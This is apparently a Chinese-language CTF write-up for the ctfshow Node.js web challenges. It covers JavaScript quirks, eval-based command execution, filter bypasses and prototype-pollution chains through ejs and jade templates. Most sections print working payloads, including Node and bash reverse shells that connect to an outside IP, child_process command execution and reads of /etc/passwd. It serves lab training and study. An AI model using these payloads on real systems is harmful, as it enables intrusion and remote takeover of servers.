ctfshow-web入门-Node-WP

  1. 1. web334 little trick
  2. 2. web335 rce
  3. 3. web336 rce bypas
  4. 4. web337 js数组
  5. 5. web338 原型链污染 merage
  6. 6. web339 RCE
  7. 7. web340
  8. 8. web341 ejs RCE
  9. 9. 342
  10. 10. 344 nodejs特性

web334 little trick

考察js特性: 参考 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

1
2
3
4
5
6
7
toUpperCase():
ı ==>I
ſ ==>S

toLowerCase():
İ ==>i
K ==>k

web335 rce

nodeJs命令执行,可以读文件,但是没找到flag

require('fs').readFileSync('/etc/passwd', 'utf-8');

尝试执行系统命令 require('child_process').execSync('whoami');

?eval=require('child_process').execSync('cat fl00g.txt');

require('child_process').spawnSync('whoami');

web336 rce bypas

有绕过,可以先读代码

?eval=__filename读当前文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
var express = require('express'); 
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
res.render('index',{ title: 'tql'});
}else{
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;

ban了exec和load , nodejs引入函数不仅能package.function还能 package[‘function’]

bypass: require('fs').readFileSync('/app/routes/index.js', 'utf-8');

web337 js数组

给了代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

1613016506250

如上图,js中两个数组是不能直接用===判断是否相等的.
参考 https://www.cnblogs.com/chri330dj/p/12420458.html
而且typeof(array+string)=string
所以传数组参数可以绕过?a[0]=&b[0]=1

web338 原型链污染 merage

routes/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;

getFlag条件是secert.ctfshow==='36dboy' , 跟踪到utils/common , 发现是 Object recursive merge 的一段代码

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

payload : {"__proto__": {"ctfshow": "36dboy"}}, 通过污染{},来达到条件

1613018214898

web339 RCE

发现this变量似乎指向了一个全局空间

面向对象语言中 this 表示当前对象的一个引用 , 考虑把user.__proto__.ctfshow赋值为this.flag

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
console.log(query)
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

secert.ctfshow===flag是无法实现了.

在api.js , 可以通过参数污染控制query,然后实现RCE

Function:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
console.log(query);
res.render('api', { query: Function(query)(query)});
});

payload: 反弹shell (下面这个一直没成功)

1
2
3
{"__proto__":{"query":"var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1001,'91.67.943.121', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}
// node 反弹shell
(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(1001,"91.67.943.121", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; })();

后来在P牛博客看到, https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html

1613041146851

1
{"__proto__":{"query":"var net = process.mainModule.constructor._load('net'),cp = process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1001,'91.67.943.121', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}

然后再次尝试反弹shell.

1613045113959

Express运行环境和node shell环境下结果不一致//坑死在这里了

web340

关键代码变成了下面的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body); // 危
console.log('user.userinfo')
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});

不能直接修改isAdmin的值,但是可以找两次原型污染query

1
{"__proto__":{"__proto__":{"query":"var net = process.mainModule.constructor._load('net'),cp = process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1001,'91.67.943.121', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}}

web341 ejs RCE

ejs模板引擎的原型链污染RCE reference: https://xz.aliyun.com/t/6113

污染最上层就能影响到整个模板.还是挺神奇的.

payload:

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"');var __tmp2"}}}

以后再好好审计研究一下.

342

app.js 可以看到模板引擎换成了jade, 然后 https://xz.aliyun.com/t/7025 这篇文章里面找到一个payload,失败了

1
2
3
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
1
{"__proto__":{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"'))"}}}

Nu1L战队搜到的一条链,可惜也失败了

1
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"');//"}}

分割线,2.22来填坑了.

payload:

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"')"}}}

payload分析过程:

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/

344 nodejs特性

参考羽师傅wp https://blog.csdn.net/miuzzx/article/details/111780832

?query={“name”:”admin”&query=”password”:”%63tfshow”&query=”isVIP”:true}